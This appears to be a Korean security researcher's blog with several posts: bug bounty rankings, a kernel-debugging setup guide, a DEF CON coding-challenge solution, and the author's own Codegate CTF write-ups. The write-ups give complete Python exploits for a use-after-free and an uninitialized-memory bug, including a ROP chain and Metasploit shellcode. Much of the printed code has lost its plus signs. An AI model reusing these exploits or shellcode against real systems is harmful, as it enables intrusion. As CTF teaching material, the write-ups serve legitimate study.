12년, 13년 당시 국내 프로그램 제로데이를 한창 찾으면서 공부를 하고 있을때


하나 둘 나올때마다 KISA에 자주 취약점을 제보 했었는데


얼마전에 뜬 명예의 전당을 보니.. 13년엔 1위를 했었네요.. 오예 ㅋㅋ (기념품은 안주시나 ㅎㅅㅎ..)

저작자 표시 비영리 변경 금지
신고

댓글 0


안녕하세요.


오랜만에 포스팅 거리가 없었는데 새로 생겼네요!


제가 고3 시절 KISA 버그바운티 기념품으로 USB를 받았는데 잘 쓰다가 갑자기 죽어버린 USB가 있었습니다.


그 USB에는 여러 Exploit Code들과 제 자기소개서등이 들어있었는데 인식이 불가능해서 일단 보관해두고 있었는데


얼마전에 갑자기 인식에 성공해서 파일을 복구[?] 하는데 성공했습니다 ㅋㅋ


2013년에 시간이 멈춰버린 파일들을 구경하다 보니 별의별 것들이 나왔는데.. (bob 자기소개서, 대학 자기소개서, 모의전형 자기소개서 등..)


그중에 KMPlayer Exploit 코드가 있길래 2년이 반이라는 충분한 시간이 지났으니 공개해보려고 합니다 ㅋㅋ


이게 제 첫번째 공개 취약점이 될 것 같네요


당시에는 제 익스플로잇 기술이 매우 허접한 편이라서 매우 낮은 확률의 코드를 짰었네요..


취약점을 공부하는 분들을 위해서 패치기간이 2년이나 지났으니 더이상 동작하지 않을 것이라 보고..


예전 익스플로잇 코드를 공개하겠습니다. (사실 별거아닙니다.. 워낙 허접해서.. 확률도 30% 남짓이었던걸로 기억합니다.)


당시에 Exploit 조건이 매우 까다로워서 (ASLR, DEP ASCII Only etc) 어쩔수 없이 그랬던 걸로 기억하네요 :(


http://pastebin.com/rvxLzka7


어쨋든!


공부하실 분들이 있을 것 같아 공개합니다 ㅎㅎ



위는 시연 영상입니다.


오랜만에 새벽에 뻘글.. :)

신고

Comment 2


안녕하세요.


요즘 포스팅에 쓸게 없다보니 예전부터 지금까지 배포했던 문서들을 모아둘까 해서 포스팅 해보려고 합니다.


처음 보안 공부를 접했을 때부터 exploit 관련 분야만 연구하다보니 글을 처음 쓰는 시간 기점으로 모두 Exploit분야밖에 안보이네요!


그래도 가끔씩 컨퍼런스 같은 곳에서 새로운 사람을 만날때 그때 그 문서, 그 자료를 잘 봤다고 인사를 해주는 분이 있는데


그럴때마다 보람을 느끼네요 ㅋㅋ


요즘은 별로 쓸 것도 없고 대단한 것도 아니니 잘 안쓰고 그냥 블로그 포스팅에 하나 남기고 있는데 언제가 될 진 모르지만 문서들을 계속 써볼 예정입니다.


아래는 제가 지금까지 작성한 문서들 리스트입니다. (아직은 4건밖에 없네요.)


2015/01/15 - [0x10 정보보안/0x15 System] - 기술문서 - Introduction to IE's memory protection

- Microsoft Internet Explorer 에 적용되어 있는 Custom Memory Protection들에 대한 소개입니다.

- 여러 브라우저가 그렇듯이 IE도 또한 자신들의 프로그램을 공격하기 어렵게 하기 위해서 각가지 메모리 보호기법을 제작하고 적용했습니다.

- 적용된 보호기법이 어떤 것들이 있는지 알아보고 직접 우회해본 경험담을 바탕으로 작성되었습니다.


2014/04/26 - [0x10 정보보안/0x15 System] - CVE-2012-4792 IE Use-After-Free Analysis and Exploit

- 차세대 보안리더 양성 프로그램 Best Of the Best 2기 프로젝트로 웹브라우저 해킹이 있었는데 프로젝트를 시작할 때 제작한 과거 취약점 분석 입니다.

- 분석 뿐만 아니라 실제로 어떻게 분석을 해야하는지 windbg 명령어로 초반 입문 하는 분들에게는 분명 도움이 되실 겁니다.


2014/08/20 - [0x10 정보보안/0x15 System] - [Memory Protection] Internet Explorer - VTguard에 대하여

- 이 당시에는 그리 긴 문서가 아니라서 그냥 웹에 적은 문서입니다.

- Vtguard를 Memory Leak 버그를 사용하지 않고 EIP를 변경할 수 있는 방법론 입니다.

- 실제 우회 성공 이후 작성한 문서입니다.

2013/05/22 - [0x10 정보보안/0x15 System] - Basic of Real World Exploit on windows [Document]

- 윈도우 어플리케이션의 취약점을 공격하는 것을 따라해보는 컨셉의 문서입니다.
- 대상 프로그램 및 버그는 매우 간단하여 쉽게 따라하실 수 있을 것입니다.

이상입니다!


신고

Comment 3





얼마전 Blackhat 컨퍼런스에서 블랙햇 후원사인 MS가 회사부스에 위와 같은 내역을 공개했다고 합니다.


전 세계의 MS의 보안 취약점을 제보한 해커 TOP 100명을 선정한 결과라고 알고 있는데 그중 91위에 오르게 되었네요.


사실 1~30위 정도 사람들의 이름을 보니 사실상 MS의 보안취약점을 없애는데 하드캐리 하고 있는 분들이라서 아직은 넘사벽인 것 같네요.


이번엔 라스베가스를 갈 일이 없어서 인터넷으로나마 소식을 접하던 와중에 블랙햇 컨퍼런스 첫날부터 1~50위에 본인의 이름이 올랐다는 트위터 소식을 여러개 보긴 했으나


51~100위 리스트가 한번에 있는 사진은 아예 없더군요.. 심지어 75위까지 올라간 사진이 있어서 살짝 기대했는데 역시나 없더군요 ㅠㅠ (하지만 75위까지 사람들 이름을 보니 그럴만도 합니다 ㅋㅋ 유명한 사람들이 많죠)


하지만 어제 100위까지 있는 사진이 다시 끌올[?] 되어서 작은 기대를 가지고 봤더니 찾을 수 있었습니다.


비록 끝자락인 91위지만 그냥 단순히 이름이 올라갔다는 것에 대해서는 매우 만족하고 있습니다. ㅋㅋ


얼마전 MS에서 VIP dinner의 제목으로 메일이 왔었는데 아마 이것에 영향을 받지 않았나 합니다. (아니면 버그를 제보해준 사람에게 모두 돌린 메일 일지도?)


하지만 전제조건이 블랙햇이 끝나는 날 라스베가스에서 저녁 사줄게! 라는 내용이어서..; 아쉽게도 다음 기회로 넘기게 되었습니다.


어쨋든 버그헌팅에서 예상치도 못한 성과가 나오다 보니 요즘 이상한 버그들만 나와서 금이 갔던 멘탈을 조금이나마 위로 해주는 느낌이네요.


비록 낮은 순위지만 앞으로 버그헌팅을 열심히 해야겠다는 의미로 다시 열라 해야겠네요. ㅋㅋ


신고

Comment 5



매번 똑같이 오랜만의 포스팅..


요즘은 커널에 대해서 공부하고 있습니다.


아니나 다를까 공부에는 항상 삽질이 따르네요.


VMware의 Workstation과 Vsphere에서 커널디버깅을 시도해보려고 구글링도 해보다가 실패해서 이것저것 삽질하던 도중 드디어 해결하게 되었습니다.


나중에 까먹을까봐 다시 포스팅!


우선 BOB 할때 알렉스에게 받은 Windbg 파일..


아래 file1, file2 둘중 아무거나 받으시면 됩니다. 같은거에요

===============================

file 1


kdbg.7z.001


kdbg.7z.002


kdbg.7z.003


kdbg.7z.004


==============================

file 2


kdbg.zip.001


kdbg.zip.002


kdbg.zip.003


kdbg.zip.004



윈도우 XP에서의 커널 디버깅 환경 세팅

- Windows XP

- VMware Workstation 11


1. 윈도우XP가 깔린 VM이미지의 속성을 들어간다.




2. 위와 같이 설정에 들어갔으면 아래 Add 버튼을 누른다.





그리고 시리얼 포트를 선택하고 Next를 누른다.


다음 화면은 귀찮아서 캡쳐 실패. 그런데 그냥 텍스트로 적어도 무방할 것 같다.


3. Serial Port 설정에서 'Output to named pipe' 선택 후 Next 클릭

4. Named pipe에 '\\.\pipe\name' 식으로 파이프의 이름을 만들어준다. 예를들어서 '\\.\pipe\sweetchip' 도 좋다.

4-1. 그리고 This end is the client. 와 This other end is an application 각각 선택!



그래서 설정을 살펴보면 이렇게 되도록 한다.


체크할 부분은 Use named pipe와 I/O mode이다.


5. 마지막! I/O mode의 Yield CPU on poll을 체크한다.




그러면 VM웨어에서의 세팅을 마쳤다. 이제 XP에서 설정해보자.


6. XP의 시작 - 실행 - msconfin 입력


7. 시스템 구성 유틸리티의 BOOT.INI 탭 선택


8. 하단 고급 옵션 클릭.



9. 그리고 /DEBUG 체크, /DEBUGPORT, /BAUDRATE 체크


10. 각각 설정을 위 사진처럼 설정. (디버그 포트는 COM1번, BAUDRATE는 115200)


Windows XP에서의 설정은 마쳤고 마지막으로 windbg에서 설정을 해야한다.


Windbg의 설정은 공통설정에서 하겠다.


11. 공통으로 이동



윈도우7 에서의 커널 디버깅 환경 세팅

1. 우선 Windows 7에서 설정을 해줘야 한다.

- XP에서와 마찬가지로 시작 - 실행 - msconfig 입력

- 부팅 탭에서 고급옵션 클릭

- 고급 옵션 창에서 디버그, 디버그 포트, 전송속도 체크아래와 같이 설정



2. 그리고 윈도우7의 전원을 끈다.



3. VMware에서 이미지의 속성을 들어간 뒤 하드웨어의 장치를 추가해줘야 한다.

- Virtual Machine Settings에서 Add 클릭

- Serial Port 클릭 후 Next

- Named Pipe에 위와 같이 설정.

- 파이프 이름 설정 - \\.\pipe\name (파이프 이름의 경우는 자유, 위 사진처럼 자유로 설정.)



4. 그리고 I/O mode에서 Yield CPU on poll 체크


5. 공통으로 이동




[공통] Windbg에서 커널 디버깅하기


1. Windbg의 상단탭 File - Kernel Debugging에 들어간다.





2. COM 탭 클릭후 아래 사진처럼 세팅한다.



3. VMware에서 VM 시작을 누르면..


4. 성공




성공이다!. 사진에서는 Windows XP인데 7이면 Windows 7 이라고 나온다





만약 위와 같은 과정으로 설정 해도 실패할 경우 아래를 살펴보세요,


지금까지 위처럼 해도 디버기가 디버거에 안붙길래 도데체 무슨 일이지 하고 있던 차에 무언가 이상한 것을 발견했다.


위의 경우는 Serial Port를 추가하면 이름은 Serial Port이다.


그러나 나의 경우는 Serial Port 2 라고 이름이 생성되었다. 그 말인 즉, 어떤 장치가 이미 시리얼 포트를 쓰고 있던 것이다.


범인은 바로 프린터(Printer)가 COM1를 사용하고 있었고 이 친구 덕분에 위 설정으로는 디버기가 붙지 않게 되었다.


그러므로 VM에서 프린터가 쓸 일이 없다면 COM1 포트를 사용하기 위해서 과감하게 삭제 하고 붙이면 잘 작동 할 것이다.


허무.. 어쨋든 이제야 잘 붙는다 오예!


끝.

신고

Comment 3



이번에 데프콘 대회는 순천향대 Security First, Leaveret 그리고 저희 동아리인 SSG 연합으로 나가게 되었는데


이상하게도 작년보다 난이도가 더 어려운것 같네요.


문제들을 분석한것도 많고 취약점도 찾았지만 Exploit을 하지 못한 문제가 상당히 많았습니다 ㅠㅠ


이번 포스팅에는 그냥 문제중 한개인 코딩 챌린지를 풀이하도록 하겠습니다. (문제 이름이 기억이 안나서 그냥 코딩 챌린지로 했습니다,)


#!/usr/bin/env python


import subprocess, os, tempfile

from ctypes import *

import os

from socket import *

import time

import struct

# from pyasm import Program

# from pyasm.instructions import push, mov, ret, pop

# from pyasm.registers import eax, esp, ebp

from distorm3 import Decode, Decode16Bits, Decode32Bits, Decode64Bits


p= lambda x: struct.pack("


PAGE_SIZE = 4096


class AssemblerFunction(object):


def __init__(self, code, ret_type, *arg_types):

# Run Nasm

fd, source = tempfile.mkstemp(".S", "assembly", os.getcwd())

os.write(fd, code)

os.close(fd)

target = os.path.splitext(source)[0]

subprocess.check_call(["nasm",source])

os.unlink(source)

binary = file(target,"rb").read()

os.unlink(target)

bin_len = len(binary)


# align our code on page boundary.

self.code_buffer = create_string_buffer(PAGE_SIZE*2 bin_len)

addr = (addressof(self.code_buffer) PAGE_SIZE) & (~(PAGE_SIZE-1))

memmove(addr, binary, bin_len)


# Change memory protection

self.mprotect = cdll.LoadLibrary("libc.so.6").mprotect

mp_ret = self.mprotect(addr, bin_len, 4) # execute only.

if mp_ret: raise OSError("Unable to change memory protection")


self.func = CFUNCTYPE(ret_type, *arg_types)(addr)

self.addr = addr

self.bin_len = bin_len


def __call__(self, *args):

return self.func(*args)


def __del__(self):

# Revert memory protection

if hasattr(self,"mprotect"):

self.mprotect(self.addr, self.bin_len, 3)



def mov(data):

result = []

data = data.split("\n")

for i in data:

if "=" in i:

tmp = i.split('=')

result.append("mov " tmp[0] ", " tmp[1])

return "\n".join(result)


if __name__ == "__main__":

ip = "catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me"

port = 9999


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


lst = []

inst = s.recv(1024)

# print inst

instructions = s.recv(1024).split("\n")[2]

print instructions

print instructions.encode("hex")


l = Decode(0, instructions, Decode64Bits)

t_ins = ""

for i in l:

t_ins = i[2] "\n"

movs = mov(inst)

# print movs

# print t_ins



result = "****Initial Register State****\n"

result = ""

registers = ["rax","rbx","rcx","rdx","rsi","rdi","r8","r9","r10","r11","r12","r13","r14","r15"]

for i in registers:

add_func = """BITS 64\n""" movs "\n" t_ins.replace("RET\n", "") """mov rax, """ i """

ret

"""

print add_func

Add = AssemblerFunction(add_func, c_uint64, c_uint64, c_uint64)

result = i "=" str(hex(Add(ord(os.urandom(1)), ord(os.urandom(1))))) "\n"


result = result.replace("L", "")

s.send(result)

print result

print s.recv(1024)


"""

rax=0x9c8982fc3b5cfae9

rbx=0x20223acc7e6949cb

rcx=0x3a46c99c

rdx=0xd5239501c5b48bd

rsi=0xbabfac6bbf67bbfd

rdi=0xe8fb6dcfe0000000

r8=0xcde6d06e980dd1ce

r9=0x339f0bb7dee53e3e

r10=0x23a769fd87124021

r11=0x2cb79cbedc86431f

r12=0x4d32ab24658d00be

r13=0x7dab448d20a82708

r14=0x3c8b784c

r15=0x43ccf3fcf39883c6


The flag is: Cats with frickin lazer beamz on top of their heads!

"""


문제는 간단하게 64비트 레지스터와 어셈블리 코드를 바이트코드화 해서 클라이언트에게 보내줍니다.


그러면 저희는 그 정보를 받아서 바이트 코드를 실행하고 레지스터 정보를 다시 되돌려 줘야 하는 문제인데요,


구글링해서 python에서 어셈블리 명령어를 실행하고 실행한 명령어의 결과값을 받아오는 스크립트가 있었습니다.


하지만 보내야 하는 것은 레지스터들 정보들이라서 결과값으로는 부족합니다.


그래서 쓴 간단한 꼼수가 함수의 결과값을 받아오는 스크립트이니 마지막에 mov rax, registers 를 붙여서 모든 레지스터의 값을 리턴하고 그 값을 받아오도록 코딩했습니다.


그래서 한번 실행하면 16개의 레지스터들을 모두 얻어오고 서버로 보내면 키값을 되돌려 줍니다.


그래서 저 스크립트를 실행시키면


The flag is: Cats with frickin lazer beamz on top of their heads!

신고

댓글 0


제가 이번 코드게이트에 출제한 문제는 총 2문제로 bookstore 와 bookstore2 이고 이번 포스팅은 Bookstore2 문제 풀이입니다.





흔하지 않은 유형의 문제라고 생각하는데 바로 windows 운영체제에서의 pwnable 입니다.


일반적인 리눅스에서의 Pwnable 문제를 Windows에 적용시켜봤습니다.


이 문제는 원래 예선에서 내려고 했던 문제인데 아무래도 윈도우 문제이고 사람이 많다보니 운영에 문제가 될 수 있을것 같아서 본선에서 출제하기로 했습니다.


본선장에서는 대회가 끝나기 대략 6시간전에 2시간 뒤에 윈도우 문제가 나올것이라고 미리 말해주고 서버 환경을 알려줬습니다.


또한 대회 전날까지 고의적으로 키값등을 삭제하는 부정행위를 방지하기 위하여 리눅스의 wine에서 돌려보자는등 여러가지 의견이 나왔었는데,


계속 고민한 결과 Low Integrity Process로 설정하여 운영하기로 했습니다.



사실 코드게이트에선 아마 윈도우 문제가 처음일텐데 여러가지 걱정도 있기도 했고 늦게나마 안 사실이지만 문제에 약간 오류(오타)가 있었습니다. (푸는데는 지장이 없으니 다행이네)


아무래도 마지막쯤에 취약점을 갑자기 바꾸고 주니어 대회 네트워크를 세팅하느라 정신이 없었던듯 하네요. 다음엔 이점을 주의해야 할것 같네요.


그리고 문제가 다른 문제에비해 약간 쉬운편이다 보니 배점이 낮아서 그런지 처음에는 6팀 정도가 문제를 잡다가 후반엔 3팀 정도가 문제를 잡고 있었습니다.


아쉽게도 본선장에선 문제가 풀리진 않았지만, 대회가 끝나고 나서 몇몇사람들로부터 문제를 풀었다라고 답이 왔네요!


끝나고라도 풀리니 다행... ㅎㅎ


이번 문제에서도 마찬가지로 Exploit 방법과 POC코드만 올리도록 하겠습니다.





Bookstore2 Binary---------------------------------------------------


bookstore2.exe


load.bat


loader.exe

--------------------------------------------------------------------

Server Environment

- Windows 7 Ultimate 32bit

- Low Integrity Process


Vulnerability

- Use-After-Free


Memory Protection

- ASLR, DEP, Stack Cookie, Safe SEH


문제의 컨셉은 예선에 나온 bookstore와 같은 컨셉으로 서점의 책을 관리해주는 컨셉의 어플리케이션이다.


참고로 이번 문제는 환경에 영향을 받지 않도록 제작한 문제이다.


그래서 단순하게 바이너리 안에 있는 정보 만으로도 충분히 Exploit이 가능하도록 만들었고 동일한 Payload로 Windows7, windows8, windows8.1 에서 유니버셜하게 작동하는 Exploit을 제작할 수 있다. (그러나 win8에선 Heap Allocation 문제로 약간 확률이 떨어지는 현상이 있었으나 Exploit이 작동하는것은 확인했다.)


문제 취약점은 Heap영역에서 발생하는 Use-After-Free이다.


이번 문제도 리얼월드에 가깝게 만든 문제들인데, Chrome, Firefox, Internet Explorer 등에 적용되어있는 Heap Isolation을 흉내낸 문제이다.


바이너리를 까보면 CreateHeap 함수로 새로운 힙영역을 만들고 그 부분에 Ebook과 Book 구조체를 할당한다.


하지만 바이너리를 살펴보면 특정상황일때 book이나 ebook 구조체를 Free하지만 그 구조체에 대한 포인터를 완전히 지우지 않음으로써 발생하는 취약점이다.



보통 지금까지 UAF라면 특정 데이터가 Free되서 새로운 string 힙을 만들어서 쉽게 free된 영역에 Re-allocation이 가능했을 것이다.


그러나 이번 문제는 Heap Isolation으로 인하여 Process Heap (이하 힙A)과 HeapCreate로 생성된 새로운 Heap(이하 힙B)에 따로 분리되어 저장되는것을 볼 수 있다.


다시 말하면 힙A에는 일반 string, 일반 데이터가 저장되지만 힙B 에서는 이 데이터들이 모여 저장된 구조체가 저장된다는 것이다.


또한 UAF 취약점은 힙B의 데이터에서 발생하고 그 데이터에는 Function Pointer가 포함되어 있어서 Reallocation을 통하여 Function Pointer를 조작하는것이 목적이다.


그럼 힙B에는 string도 할당이 불가능하고 일반 데이터도 할당이 불가능하고 오직 가공된 구조체만 할당할 수 있다.



그럼 어떻게 해야 할까?


문제를 풀때 구조체를 분석해보면 Book과 Ebook의 구조체의 크기가 약간 다르다는걸 볼 수 있을 것이다.


또한 해커가 데이터를 완전히 Control할 수 있는 크기는 12바이트라는 것도 볼 수 있을 것이다.


이 점을 이용하여 다음과 같이 생각해보자.


예를들어서 0x40 크기를 가진 A 구조체와 0x3c를 가진 B 구조체가 있다고 할때 A라는 힙이 할당되면 실제 힙 영역에서는 다음과 같은 모습일 것이다.


Struct_A ----------------------------------

HHHHHHHHDDDDDDDDDDDDDDDD

| Header | ... Data 0x40 ... |

-----------------------------------------


그리고 B 구조체는 다음과 같을 것이다.


Struct_B ----------------------------------

HHHHHHHHDDDDDDDDDDDD

| Header | .. Data 0x3c .. |

-----------------------------------------


이중 일부 데이터가 Controllable 하다고 하고 일부 데이터가 Function Pointer 라고 하자.



구조체 A를 먼저 힙에 쭉 뿌려두고 모두 Free시킨다. 하지만 포인터는 여전히 남아있을 것이다.


그다음 구조체 B를 힙에 할당시키면 Free된 힙의 처음 부분부터 할당될 것이다.


위 사진처럼 할당을 하면 어딘가에서는 Controllable한 데이터와 Function Pointer가 만나는 지점이 있을 것이다.


이 문제에선 위 원리를 이용하여 Infoleak과 EIP Control이 가능하다.





Exploit Code


아래는 위 원리를 적용한 Exploit이며


Windows 7, Windows 8.1에서 작동하는것을 확인했다.


실제로 Exploit시 metasploit의 Reverse Shell을 붙여주는 쉘코드를 사용하여 문제를 풀었다.


import os

from socket import *

import struct

import time

p = lambda x : struct.pack("

import re


shellcode = ("\xba\x02\x27\xc8\x90\xd9\xe1\xd9\x74\x24\xf4\x5e\x33\xc9"

"\xb1\x32\x31\x56\x12\x83\xc6\x04\x03\x54\x29\x2a\x65\xa4"

"\xdd\x23\x86\x54\x1e\x54\x0e\xb1\x2f\x46\x74\xb2\x02\x56"

"\xfe\x96\xae\x1d\x52\x02\x24\x53\x7b\x25\x8d\xde\x5d\x08"

"\x0e\xef\x61\xc6\xcc\x71\x1e\x14\x01\x52\x1f\xd7\x54\x93"

"\x58\x05\x96\xc1\x31\x42\x05\xf6\x36\x16\x96\xf7\x98\x1d"

"\xa6\x8f\x9d\xe1\x53\x3a\x9f\x31\xcb\x31\xd7\xa9\x67\x1d"

"\xc8\xc8\xa4\x7d\x34\x83\xc1\xb6\xce\x12\x00\x87\x2f\x25"

"\x6c\x44\x0e\x8a\x61\x94\x56\x2c\x9a\xe3\xac\x4f\x27\xf4"

"\x76\x32\xf3\x71\x6b\x94\x70\x21\x4f\x25\x54\xb4\x04\x29"

"\x11\xb2\x43\x2d\xa4\x17\xf8\x49\x2d\x96\x2f\xd8\x75\xbd"

"\xeb\x81\x2e\xdc\xaa\x6f\x80\xe1\xad\xd7\x7d\x44\xa5\xf5"

"\x6a\xfe\xe4\x93\x6d\x72\x93\xda\x6e\x8c\x9c\x4c\x07\xbd"

"\x17\x03\x50\x42\xf2\x60\xae\x08\x5f\xc0\x27\xd5\x35\x51"

"\x2a\xe6\xe3\x95\x53\x65\x06\x65\xa0\x75\x63\x60\xec\x31"

"\x9f\x18\x7d\xd4\x9f\x8f\x7e\xfd\xc3\x4e\xed\x9d\x03")

# calc shellcode from metasploit :)


ip = "200.200.200.5"

port = 1337


ss = socket(AF_INET, SOCK_STREAM)

ss.connect((ip, port))


eip = 1

eip1 = 1

eip2 = 1


def r():

result = ""

try:

while 1:

ss.settimeout(0.001)

# ss.settimeout(0.3)

tmp = ss.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


def s(a):

ss.sendall(a)


def login():

print r()

s("helloadmin\n")

print r()

s("Iulover!@#\n")


def makebook():

print r()

s("1\n")

print r()

s("1\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s("1094795581\n")

print r()

s("1094795580\n")

print r()

s("1\n")


def makeebook():

print r()

s("1\n")

print r()

s("2\n")

print r()

s("bookname\n")

print r()

s("description\n")

print r()

s(str(int(eip1)) "\n") # EIP 4

print r()

s(str(int(eip)) "\n") # EIP

print r()

s(str(int(eip2)) "\n") # EIP 8


def forcefree(target):

print r()

s("2\n")

print r()

s(str(target) "\n") # index

print r()

s("3\n")

print r()

s("-1\n")

print r()

s(str(int(0x43434343)) "\n")

print r()

s(str(int(0x42424242)) "\n")

print r()


s("4\n")

print r()

s("0\n")

print r()

s("0\n")

print r()

s("3\n")

print r()

s(str(target) "\n") # index


def put_gadget(gadget, index):

print r()

s("2\n")

print r()

s(str(index) "\n")

print r()

s("2\n")

print r()

s(gadget "\n")

print r()

s("0\n")



def view(target):

print r()

s("4\n")

print r()

s(str(target) "\n") # taarget

return r()


def payload(baseaddress):

virtualalloc_warp = baseaddress 0x2070 #fix

fgets_wrap = baseaddress 0x1460 #fix


ppppr = baseaddress 0x9dff #fix

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1

virtual_space = 0x00100000


result = ""

result = p(r) * 10

result = p(virtualalloc_warp)

result = p(pppr)

result = p(virtual_space)

result = p(0x10000)

result = p(0x40)

# result = p(0x41414141)

result = p(fgets_wrap)

result = p(ppr)

result = p(virtual_space)

result = p(len(shellcode) 2000)


result = p(virtual_space 20)

return result


################################ START

time.sleep(0.1)

login()

################################ INFO LEAAK

# time.sleep(10)

total = -1

for i in range(0, 4):

makeebook()

total = 1

for i in range(0, 4):

forcefree(i)

for i in range(0, 4):

makebook()

total = 1


data = view(2) # infoleak



print "data = " data

found = re.findall("Price : (.*)\n", data)

print found

################################# Make Payload

baseaddr = int(found[0].replace("\r",""))&0xFFFF0000

gadget1 = baseaddr 0x1e97 #fix

"""

xchg eax, esp

pop ecx

pop eax

retn

"""

memory = baseaddr 0x171c0 # global var #fix

eip = gadget1

eip1 = memory

eip2 = gadget1


put_gadget(payload(baseaddr), 6)


################################# Exploit

for i in range(0, 4):

makebook()

total = 1

for i in range(0, 4):

forcefree(7 i)

for i in range(0, 4):

makeebook()

total = 1

print view(7 3) # infoleak

s("\x90"*100 "\xbc\x00\x50\x10\x00" "\x90"*500 shellcode "\x90"*500 "\xcc" "\n")

print r()

print hex(baseaddr)

time.sleep(1)



끝!


신고

Comment 2



올해 코드게이트는 우리회사에서 진행하게 되어서 나도 함께 문제를 출제하게 되었는데


사실 이번 코드게이트 같이 매우 큰 규모의 CTF에서의 문제 출제는 처음이었다.


그래서 어느 문제를 내야할지 상당히 고민을 많이 했는데, 난이도가 어려운 문제는 이미 다른 멤버들이 담담해주시니 ㅋㅋ


나는 지금까지 리얼월드에서 찾은 취약점중 재미있던 취약점을 문제에 적용시키기로 했다.


그리고 중간고사 직전인 지금 중간고사 공부가 재미없어서 오랜만에 블로그에 글이나 써볼까 하다가..


나오게된 셀프 Write-Up!



Bookstore -

bookstore_bin


Bug Class : Uninitialized memory reference


문제의 컨셉은 서점의 책을 관리해주는 간단한 어플리케이션이다.


바이너리는 32비트이며 PIE / ASLR / NX 모두 적용되어있는 바이너리이다.


아마 이런 유형의 취약점을 처음 찾아본다면 취약점을 찾는데 약간 어려웠을 수도 있는데 문제를 풀고나면 생각보다 간단했을 것이다.



이미 다른 분들이 써둔 Write-up이 있으니 이 포스팅에선 문제 버그에 대한 원리만 간단하게 설명해보도록 하겠다.


예를들어서 위와 같은 구조체가 있다고 하자.



이때 우리가 새로운 구조체를 스택(지역변수)에 만들었다고 한다고 할때 기본적으로 구조체라면 위와 같이 생겼을 것이다.


그래서 필요한 경우에 따라 위처럼 값을 채워나갈 것이다.

그리고 위에 보면 그대로 0인 부분이 있는데 이 부분은 정상적인 0인 값이거나 내가 별도로 초기화 하지 않은 부분이다.


아까 말했듯이 구조체를 지역변수로 만들 경우 스택에 일정 공간을 잡아두고 그 곳에 데이터를 채워 넣는 방식이라고 했다.

사용할 스택을 미리 예측해서 그 부분에 Stack Spray(?)를 해놓고 나중에 구조체가 그 스프레이된 곳에서 세팅하도록 유도한다면 어떨까?

문제 내에서는 이유없이 이상하게 3000바이트를 받고 약 200바이트 약간 안되게 잘라서 다시 넣는 부분이 있을 것이다.

사실 풀어본 사람은 알겠지만 그 부분이 바로 스택 스프레이를 하는 부분이다.


그렇다면 다시 살펴보자.

위와 같은 구조체가 있다고 하고 스택영역에 할당될 예정이다.

그전에 미리 3000바이트 정도 스택영역에 스프레이를 해두면 실제 구조체를 만들 당시 아무 값도 초기화 하지 않을 경우 아래그림과 같은 상태일 것이다.


위는 스택 스프레이가 진행된 모습이다.


그래서 구조체를 세팅하다보면 아까와는 달리 초기화 하지 않은 일부 0인 부분이 AAAA 로 변한 모습이 보일 것이다. (s3는 잘못 색칠한것임! 원래 AAAA임!, s4는 위에 언급했듯이 원래 0값으로 가정.)


위와 같이 내 맘대로 원하는 구조체를 저렇게 바꿔버리면 프로그램의 흐름을 바꿀 수 있다.


그래서 탄생한 Exploit 은 다음과 같다.



#Exploit


from socket import *

import struct

import os

p = lambda x : struct.pack("


ip = "0.0.0.0" # blind

port = 31337


print "[*] CODEGATE 2015 bookstore exploit."

print "[*] Start Exploit."

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


def r(s):

result = ""

try:

while 1:

s.settimeout(0.1)

tmp = s.recv(1)

result = tmp

if len(tmp) == 0:

#print tmp

break

except:

pass

return result


#def s(s, a):

# s.sendall(a)


print r(s)

s.sendall("helloadmin")

print r(s)

s.sendall("iulover!@#$");

#print r(s)

for i in range(0, 3):

#s.recv(1024)

#s.recv(1024)

print r(s)

# s.sendall("1")

# s.recv(1024)

s.sendall("1\n")

print r(s)#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("AAAAA")

print r(s)#s.recv(1024)

#s.recv(1024)

s.sendall("0\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")

# s.recv(1024)

# s.sendall(str(0x42424242) "\n")


print r(s)

s.sendall("2\n") # into modify option

print r(s)

s.sendall("1\n") # target index

print r(s)

#s.recv(1024)



s.sendall("3\n") # modify all

s.recv(1024)

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

#s.recv(1024)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("1\n") # modify all

print r(s)

s.sendall("A"*20)

print r(s)

s.sendall("C"*30)

print r(s)

s.sendall("0\n") # exi

print r(s)



s.sendall("4\n") # show list

leak = r(s)

#leak = s.recv(1024)

b = leak.split("AAAAAAAAAAAAAAAAAAAABBBBBBBB")[1][:4]


point = ((struct.unpack("

print "[*] LEAKED Memory : " str(hex(point))


s.sendall("2\n") # into modify option

print r(s)

s.sendall("0\n") # target index

print r(s)



s.sendall("1\n") # modify bookname

print r(s)

s.sendall("A"*30)

print r(s)

import time

s.sendall("2\n") # modify bookdescription

print r(s)

time.sleep(0.3)

s.sendall(p(point)*(2800/4))

time.sleep(0.3)

print r(s)



s.sendall("3\n") # create vuln object

print r(s)


s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall(str(0x42424242) "\n")

print r(s)

s.sendall("0\n") # free shipping

print r(s)

s.sendall("1\n") # now avaliable

print r(s)

s.sendall("/home/bookstore/key")

# s.sendall("/home/sweetchip/key")

print r(s)

s.sendall("A")

print r(s)



s.sendall("4\n") # change free shipping option

print r(s)

s.sendall("1\n")

print r(s)


s.sendall("0\n") # back to main menu

print r(s)


s.sendall("4\n") # show list

print r(s)


s.sendall("3\n") # item info

print r(s)

s.sendall("0\n")#index

print r(s)

#print "[*] Key is : " r(s).split("====================================================================")[0].split("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")[1].replace("\n", "")

s.close()



곧바로 다음 포스팅은 본선에 출제된 bookstore2...


감사합니다.


신고

댓글 0


안녕하세요.


요즘 학교 6시간 연강에 고통받으랴 회사일 개인연구.. 등등에 고통받고 있느라 블로그를 잘 못하게 되네요..


얼마전에 IOS에 대해서 연구를 하고싶은게 있어서(라고 썻지만 가지고 놀려고..) 아이패드를 구입하게 되었는데 IOS 앱 바이너리를 추출해보고 싶었습니다.


